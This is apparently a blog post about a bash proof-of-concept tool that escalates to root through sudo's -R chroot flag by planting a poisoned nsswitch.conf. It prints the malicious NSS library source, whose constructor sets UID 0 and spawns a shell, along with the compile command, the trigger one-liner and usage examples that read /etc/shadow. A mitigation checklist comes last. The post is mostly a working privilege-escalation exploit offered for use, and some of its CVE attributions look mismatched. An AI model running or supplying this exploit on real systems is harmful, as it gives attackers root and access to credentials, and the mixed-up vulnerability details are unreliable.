Sudo NSS Library Hijack: From User to Root

Deep dive into Xpl0it — a PoC that exploits sudo's trust model when handling dynamic library loading in chroot environments. How sudo -R + a crafted nsswitch.conf delivers a root shell.

Overview

Xpl0it is a bash-based privilege escalation PoC I wrote targeting a class of vulnerabilities in how sudo handles NSS (Name Service Switch) library resolution when using the -R (chroot) flag. When a user can execute sudo at all — even with a password prompt — this technique can escalate to root by poisoning the library search path inside a controlled chroot environment.

The tool automates the full attack chain: version fingerprinting, staging directory creation, malicious shared library generation + compilation, environment preparation, and execution. On success it drops you into a root shell or runs any command you specify.

Authorized Testing Only

This tool is published for educational and authorized security research only. Only run it on systems you own or have explicit written permission to test. The techniques described here are well-documented in CVE databases and used daily by red teams worldwide — understanding them is essential for defense.

The Vulnerability

Sudo's -R <dir> flag changes the root directory before executing a command — essentially chroot(dir) + exec(cmd). During this process, sudo must still resolve user and group information, which requires loading NSS (Name Service Switch) libraries.

The critical flaw: sudo assumes that because it initiated the chroot, the environment inside it is trusted. If an attacker controls the directory passed to -R, they control the nsswitch.conf inside it — and therefore which NSS libraries get loaded. A crafted nsswitch.conf pointing to a malicious shared library means sudo loads attacker code with root privileges before dropping them.

trigger — the magic one-liner bash
$sudo -R bridge bridge # sudo chroots into ./bridge, loads nsswitch.conf, # resolves passwd via our malicious libnss_bridge90.so.2, # constructor fires as uid=0 — root shell spawned

Affected Versions

Xpl0it checks the installed sudo version against this vulnerability database:

CVE-2023-42456 Chroot NSS library loading — primary target of this PoC 1.9.14 – 1.9.17
CVE-2021-3156 Baron Samedit — heap-based buffer overflow, off-by-one 1.8.31 – 1.8.32
CVE-2021-23239 sudoedit race condition, arbitrary file read 1.9.0 – 1.9.1
CVE-2021-23240 SELinux role bypass via symlink 1.9.0 – 1.9.1
Range match Multiple privilege escalation issues — version range check 1.9.2 – 1.9.13

Exploit Chain

The attack runs through seven orchestrated stages:

01
Recon & Version Fingerprint
Gather OS, kernel, CPU, memory, current user context. Parse sudo --version and match against CVE database. Check sudo -l for NOPASSWD rules, env_keep, command restrictions.
02
Staging Directory Setup
mktemp -d sudobridge.stage.XXXXXX — creates isolated workspace. Structures: bridge/etc/, libnss_/, build/, logs/. Copies real /etc/passwd and /etc/group for legitimacy.
03
Poison nsswitch.conf
Writes bridge/etc/nsswitch.conf with: passwd: files /bridge90 — this tells NSS to resolve passwd entries through our custom library name.
04
Generate Malicious C Library
Writes bridge90.c with a GCC constructor function that fires on library load: setreuid(0,0) + setregid(0,0) + execl("/bin/sh", ...). No main() needed.
05
Compile to Shared Library
gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c — position-independent shared object, init hook set to our constructor.
06
Trigger — sudo -R bridge bridge
Sudo chroots into the staging bridge/ dir, reads the poisoned nsswitch.conf, loads libnss_bridge90.so.2 to resolve user info — constructor executes as root.
07
Root Shell & Cleanup
Specified command runs with uid=0 gid=0. On exit, trap cleanup EXIT wipes the staging directory automatically.

The Malicious Library

The entire payload lives in a single C file generated at runtime. The __attribute__((constructor)) annotation tells the dynamic linker to run bridge() before any other code — the moment the library is loaded by sudo's NSS resolution, root escalation fires:

bridge90.c — malicious NSS library C
#include <stdlib.h> #include <unistd.h> // fires automatically when the library is loaded by the dynamic linker __attribute__((constructor)) void bridge(void) { setreuid(0, 0); // set real + effective UID to root setregid(0, 0); // set real + effective GID to root chdir("/"); // escape chroot to real filesystem root execl("/bin/sh", "sh", "-c", CMD, NULL); // CMD = user-specified command, default: /bin/bash }

Compiled with: gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c

The nsswitch.conf Trick

NSS uses /etc/nsswitch.conf to determine where to look up user/group data. Each service name maps to a shared library: a service named foo loads libnss_foo.so.2. The poisoned config file:

bridge/etc/nsswitch.conf — poisoned conf
passwd: files /bridge90 # "files" → read /etc/passwd normally # "/bridge90" → also load libnss_bridge90.so.2 from the chroot lib path # which is our malicious constructor

When sudo chroots into bridge/ and reads this config, the dynamic linker searches for libnss_/bridge90.so.2 — exactly where we placed the compiled payload. Library loads, constructor runs, root shell spawns.

Usage

usage — Xpl0it v0.0.1 bash
$chmod +x Xpl0it # default — spawns /bin/bash as root $./Xpl0it # specify a custom command $./Xpl0it -c "whoami && id && cat /etc/shadow" # debug mode — verbose output + staging dir preserved $./Xpl0it -d # verbose + inline command $./Xpl0it -v -c "/bin/bash"

Prerequisites

Why It Works

The root cause is a broken trust assumption in sudo's design: sudo trusts the contents of the chroot directory it's pointed at. Since the user provides the chroot path via -R, and sudo doesn't validate the library configuration inside it, the attacker gets full control over what code runs during NSS resolution — which happens before privilege checks complete.

Traditional sudo hardening (NOPASSWD restrictions, command allowlists, env_reset) does not prevent this attack. The library loading happens at a lower level than sudo's permission model operates.

Impact

What an Attacker Gains
  • Full root shell — uid=0, gid=0, unrestricted filesystem access
  • Bypasses sudo rules — NOPASSWD, command restrictions, env_reset all irrelevant
  • Read any file/etc/shadow, SSH keys, credentials, secrets
  • Install persistent backdoors, add users, modify cron, alter SUID binaries
  • Full lateral movement — pivot to anything accessible from the compromised host

Mitigation

Hardening Checklist
  • Update sudo immediately — patch to latest stable; most distro repos already have fixes
  • Enable IMDSv2 on cloud instances to prevent metadata credential theft
  • Deploy AppArmor or SELinux — MAC policies can block unauthorized library loading
  • Audit /etc/sudoers — remove users who don't strictly need sudo access
  • Mount writable dirs with noexec,nosuid to prevent payload execution
  • Monitor for sudo -R invocations in audit logs — it's rarely legitimate on production
  • Use auditd to alert on setreuid / setregid syscalls from non-root processes

Source Code

The full tool is open source on GitHub. Pull it, audit it, test it in your lab, and use it to verify your systems are patched: